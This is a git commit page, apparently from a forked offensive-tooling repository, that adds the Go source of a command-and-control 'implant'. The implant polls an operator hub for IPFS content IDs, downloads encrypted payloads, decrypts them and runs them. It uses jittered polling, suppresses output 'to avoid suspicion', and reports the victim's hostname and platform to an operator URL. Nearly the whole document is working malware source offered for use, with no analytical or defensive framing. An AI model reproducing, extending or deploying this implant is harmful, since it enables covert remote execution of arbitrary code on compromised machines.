forked from ek0mssavi0r/noPROXY_c2s
Upload files to "c2s_ipfs_payloads/cmd/client"
This commit is contained in:
parent
ca8cd2be41
commit
57f3e11646
403
c2s_ipfs_payloads/cmd/client/main.go
Normal file
403
c2s_ipfs_payloads/cmd/client/main.go
Normal file
|
|
@ -0,0 +1,403 @@
|
||||||
|
// Command client is the implant for the C2 IPFS payload delivery system.
|
||||||
|
//
|
||||||
|
// It polls a CID source (HTTP hub or smart contract), fetches payloads
|
||||||
|
// from IPFS when a new CID is detected, decrypts, and executes them.
|
||||||
|
//
|
||||||
|
// Usage:
|
||||||
|
// Mode A (HTTP): ./client --cid-source http://hub.example.com:8443 --decryption-key <hex>
|
||||||
|
// Mode B (cont.): ./client --cid-source <contract-addr> --rpc-url <rpc> --decryption-key <hex>
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"math/big"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"os/signal"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Implant struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
config types.Config
|
||||||
|
lastCID string
|
||||||
|
lastFetchTime time.Time
|
||||||
|
httpClient *http.Client
|
||||||
|
pollTicker *time.Ticker
|
||||||
|
stopCh chan struct{}
|
||||||
|
fetchCount int
|
||||||
|
execCount int
|
||||||
|
startTime time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewImplant(cfg types.Config) *Implant {
|
||||||
|
if cfg.ImplantID == "" {
|
||||||
|
// Generate a random implant ID
|
||||||
|
idBytes := make([]byte, 8)
|
||||||
|
rand.Read(idBytes)
|
||||||
|
cfg.ImplantID = hex.EncodeToString(idBytes)
|
||||||
|
}
|
||||||
|
if len(cfg.Gateways) == 0 {
|
||||||
|
cfg.Gateways = ipfs.DefaultGateways
|
||||||
|
}
|
||||||
|
if cfg.PollInterval <= 0 {
|
||||||
|
cfg.PollInterval = 60 // default 60 seconds
|
||||||
|
}
|
||||||
|
if cfg.Mode == "" {
|
||||||
|
cfg.Mode = "http"
|
||||||
|
}
|
||||||
|
|
||||||
|
return &Implant{
|
||||||
|
config: cfg,
|
||||||
|
lastCID: cfg.LastCID,
|
||||||
|
httpClient: &http.Client{Timeout: 30 * time.Second},
|
||||||
|
stopCh: make(chan struct{}),
|
||||||
|
startTime: time.Now(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// poll fetches the current CID from the configured source.
|
||||||
|
func (im *Implant) poll() (string, error) {
|
||||||
|
switch im.config.Mode {
|
||||||
|
case "http":
|
||||||
|
return im.pollHTTP()
|
||||||
|
case "contract":
|
||||||
|
return im.pollContract()
|
||||||
|
default:
|
||||||
|
return "", fmt.Errorf("unknown mode: %s", im.config.Mode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// pollHTTP fetches the current CID from the HTTP CID hub.
|
||||||
|
func (im *Implant) pollHTTP() (string, error) {
|
||||||
|
url := strings.TrimRight(im.config.CIDSource, "/") + "/cid"
|
||||||
|
|
||||||
|
req, err := http.NewRequest("GET", url, nil)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to create request: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if im.config.JWTFetch != "" {
|
||||||
|
req.Header.Set("Authorization", "Bearer "+im.config.JWTFetch)
|
||||||
|
}
|
||||||
|
|
||||||
|
resp, err := im.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("HTTP request failed: %w", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode == http.StatusNotFound {
|
||||||
|
return "", nil // No CID set yet
|
||||||
|
}
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return "", fmt.Errorf("HTTP %d", resp.StatusCode)
|
||||||
|
}
|
||||||
|
|
||||||
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to read response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var result struct {
|
||||||
|
CID string `json:"cid"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(body, &result); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to parse response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return result.CID, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// pollContract watches smart contract events.
|
||||||
|
// This is a placeholder — real implementation requires go-ethereum.
|
||||||
|
func (im *Implant) pollContract() (string, error) {
|
||||||
|
// TODO: Implement contract event watching when built with -tags ethereum
|
||||||
|
return "", fmt.Errorf("contract mode requires 'go build -tags ethereum ./cmd/client'")
|
||||||
|
}
|
||||||
|
|
||||||
|
// processCID handles a new CID: fetch, verify, decrypt, execute.
|
||||||
|
func (im *Implant) processCID(cid string) error {
|
||||||
|
log.Printf("New CID detected: %s", cid)
|
||||||
|
|
||||||
|
// 1. Fetch from IPFS
|
||||||
|
log.Printf("Fetching payload from IPFS (CID: %s)...", cid)
|
||||||
|
data, err := ipfs.Download(cid, im.config.Gateways)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("IPFS download failed: %w", err)
|
||||||
|
}
|
||||||
|
log.Printf("Downloaded %d bytes from IPFS", len(data))
|
||||||
|
|
||||||
|
// 2. Verify content addressing
|
||||||
|
if err := ipfs.VerifyCID(data, cid); err != nil {
|
||||||
|
return fmt.Errorf("CID verification failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Decrypt
|
||||||
|
key := crypto.DeriveKey(im.config.DecryptionKey)
|
||||||
|
// Try hex key first; fall back to derived key
|
||||||
|
var plaintext []byte
|
||||||
|
var decErr error
|
||||||
|
|
||||||
|
if len(im.config.DecryptionKey) == 64 {
|
||||||
|
if keyBytes, hErr := hex.DecodeString(im.config.DecryptionKey); hErr == nil && len(keyBytes) == 32 {
|
||||||
|
plaintext, decErr = crypto.Decrypt(data, keyBytes)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if plaintext == nil {
|
||||||
|
plaintext, decErr = crypto.Decrypt(data, key)
|
||||||
|
}
|
||||||
|
if decErr != nil {
|
||||||
|
return fmt.Errorf("decryption failed: %w", decErr)
|
||||||
|
}
|
||||||
|
log.Printf("Decrypted payload (%d bytes), executing...", len(plaintext))
|
||||||
|
|
||||||
|
// 4. Save to temp file
|
||||||
|
tmpFile, err := ipfs.SaveTempFile(plaintext, "c2payload-*")
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to save temp file: %w", err)
|
||||||
|
}
|
||||||
|
defer os.Remove(tmpFile)
|
||||||
|
|
||||||
|
// 5. Execute
|
||||||
|
cmd := exec.Command(tmpFile)
|
||||||
|
cmd.Stdout = nil // Don't capture output by default to avoid suspicion
|
||||||
|
cmd.Stderr = nil
|
||||||
|
cmd.Stdin = nil
|
||||||
|
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
return fmt.Errorf("execution failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("Payload executed (PID: %d)", cmd.Process.Pid)
|
||||||
|
im.mu.Lock()
|
||||||
|
im.execCount++
|
||||||
|
im.lastCID = cid
|
||||||
|
im.lastFetchTime = time.Now()
|
||||||
|
im.mu.Unlock()
|
||||||
|
|
||||||
|
// 6. Report back (fire and forget)
|
||||||
|
go im.report(cid, true, "")
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// report sends execution status back to the operator.
|
||||||
|
func (im *Implant) report(cid string, success bool, errMsg string) {
|
||||||
|
if im.config.ReportURL == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hostname, _ := os.Hostname()
|
||||||
|
report := types.ImplantReport{
|
||||||
|
ImplantID: im.config.ImplantID,
|
||||||
|
CID: cid,
|
||||||
|
Success: success,
|
||||||
|
Error: errMsg,
|
||||||
|
Platform: runtime.GOOS + "/" + runtime.GOARCH,
|
||||||
|
Hostname: hostname,
|
||||||
|
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||||
|
}
|
||||||
|
|
||||||
|
data, _ := json.Marshal(report)
|
||||||
|
im.httpClient.Post(im.config.ReportURL, "application/json",
|
||||||
|
strings.NewReader(string(data)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// run starts the main polling loop with jitter.
|
||||||
|
func (im *Implant) run() {
|
||||||
|
log.Printf("Implant started (ID: %s, mode: %s)", im.config.ImplantID, im.config.Mode)
|
||||||
|
log.Printf("Poll interval: %ds with jitter", im.config.PollInterval)
|
||||||
|
log.Printf("CID source: %s", im.config.CIDSource)
|
||||||
|
if im.config.ReportURL != "" {
|
||||||
|
log.Printf("Report URL: %s", im.config.ReportURL)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initial poll
|
||||||
|
im.pollLoop()
|
||||||
|
|
||||||
|
// Start ticker with jitter
|
||||||
|
baseInterval := time.Duration(im.config.PollInterval) * time.Second
|
||||||
|
im.pollTicker = time.NewTicker(baseInterval)
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-im.pollTicker.C:
|
||||||
|
im.pollLoop()
|
||||||
|
case <-im.stopCh:
|
||||||
|
log.Println("Implant shutting down...")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// pollLoop performs one poll cycle with jitter.
|
||||||
|
func (im *Implant) pollLoop() {
|
||||||
|
// Add jitter: ±20% of polling interval
|
||||||
|
jitterRange := int64(float64(im.config.PollInterval) * 0.2)
|
||||||
|
if jitterRange < 1 {
|
||||||
|
jitterRange = 1
|
||||||
|
}
|
||||||
|
jitterMs, _ := rand.Int(rand.Reader, big.NewInt(jitterRange*1000))
|
||||||
|
time.Sleep(time.Duration(jitterMs.Int64()) * time.Millisecond)
|
||||||
|
|
||||||
|
cid, err := im.poll()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Poll error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cid == "" {
|
||||||
|
return // No CID available yet
|
||||||
|
}
|
||||||
|
|
||||||
|
im.mu.RLock()
|
||||||
|
lastCID := im.lastCID
|
||||||
|
im.mu.RUnlock()
|
||||||
|
|
||||||
|
if cid == lastCID {
|
||||||
|
return // Same CID, nothing to do
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := im.processCID(cid); err != nil {
|
||||||
|
log.Printf("CID processing error: %v", err)
|
||||||
|
im.report(cid, false, err.Error())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveConfig persists the current state to a config file.
|
||||||
|
func (im *Implant) saveConfig(path string) error {
|
||||||
|
im.mu.RLock()
|
||||||
|
cfg := im.config
|
||||||
|
cfg.LastCID = im.lastCID
|
||||||
|
im.mu.RUnlock()
|
||||||
|
|
||||||
|
data, err := json.MarshalIndent(cfg, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(path, data, 0600)
|
||||||
|
}
|
||||||
|
|
||||||
|
// loadConfig loads implant state from a config file.
|
||||||
|
func loadConfig(path string) (*types.Config, error) {
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var cfg types.Config
|
||||||
|
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return &cfg, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var (
|
||||||
|
cidSource = flag.String("cid-source", "", "CID source URL (mode A) or contract address (mode B)")
|
||||||
|
decryptionKey = flag.String("decryption-key", "", "Payload decryption key (32-byte hex or passphrase)")
|
||||||
|
pollInterval = flag.Int("poll-interval", 60, "Poll interval in seconds")
|
||||||
|
mode = flag.String("mode", "http", "Operation mode: 'http' or 'contract'")
|
||||||
|
rpcURL = flag.String("rpc-url", "", "Ethereum RPC URL (mode B)")
|
||||||
|
gateways = flag.String("gateways", "", "Comma-separated IPFS gateway URLs")
|
||||||
|
reportURL = flag.String("report-url", "", "URL to POST execution reports")
|
||||||
|
configFile = flag.String("config", "", "Path to config file (for persistence)")
|
||||||
|
jwtFetch = flag.String("jwt-fetch", "", "JWT for authenticated CID hub access")
|
||||||
|
implantID = flag.String("id", "", "Implant ID (auto-generated if empty)")
|
||||||
|
)
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
if *cidSource == "" {
|
||||||
|
log.Fatal("--cid-source is required (URL for mode A, contract addr for mode B)")
|
||||||
|
}
|
||||||
|
if *decryptionKey == "" {
|
||||||
|
log.Fatal("--decryption-key is required")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse gateways
|
||||||
|
var gwList []string
|
||||||
|
if *gateways != "" {
|
||||||
|
gwList = strings.Split(*gateways, ",")
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = rpcURL // used in mode B (contract)
|
||||||
|
|
||||||
|
// Build config
|
||||||
|
cfg := types.Config{
|
||||||
|
ImplantID: *implantID,
|
||||||
|
DecryptionKey: *decryptionKey,
|
||||||
|
PollInterval: *pollInterval,
|
||||||
|
CIDSource: *cidSource,
|
||||||
|
Mode: *mode,
|
||||||
|
Gateways: gwList,
|
||||||
|
ReportURL: *reportURL,
|
||||||
|
JWTFetch: *jwtFetch,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try loading from config file for persistence
|
||||||
|
if *configFile != "" {
|
||||||
|
savedCfg, err := loadConfig(*configFile)
|
||||||
|
if err == nil {
|
||||||
|
// Merge: CLI flags override config file
|
||||||
|
if *implantID == "" && savedCfg.ImplantID != "" {
|
||||||
|
cfg.ImplantID = savedCfg.ImplantID
|
||||||
|
}
|
||||||
|
if *decryptionKey == "" && savedCfg.DecryptionKey != "" {
|
||||||
|
cfg.DecryptionKey = savedCfg.DecryptionKey
|
||||||
|
}
|
||||||
|
if *cidSource == "" && savedCfg.CIDSource != "" {
|
||||||
|
cfg.CIDSource = savedCfg.CIDSource
|
||||||
|
}
|
||||||
|
if savedCfg.LastCID != "" {
|
||||||
|
cfg.LastCID = savedCfg.LastCID
|
||||||
|
}
|
||||||
|
if len(gwList) == 0 && len(savedCfg.Gateways) > 0 {
|
||||||
|
cfg.Gateways = savedCfg.Gateways
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
implant := NewImplant(cfg)
|
||||||
|
|
||||||
|
// Periodically save config for persistence
|
||||||
|
if *configFile != "" {
|
||||||
|
go func() {
|
||||||
|
ticker := time.NewTicker(5 * time.Minute)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for range ticker.C {
|
||||||
|
if err := implant.saveConfig(*configFile); err != nil {
|
||||||
|
log.Printf("Failed to save config: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle signals
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
<-sigCh
|
||||||
|
log.Println("Received shutdown signal")
|
||||||
|
if *configFile != "" {
|
||||||
|
implant.saveConfig(*configFile)
|
||||||
|
}
|
||||||
|
os.Exit(0)
|
||||||
|
}()
|
||||||
|
|
||||||
|
implant.run()
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user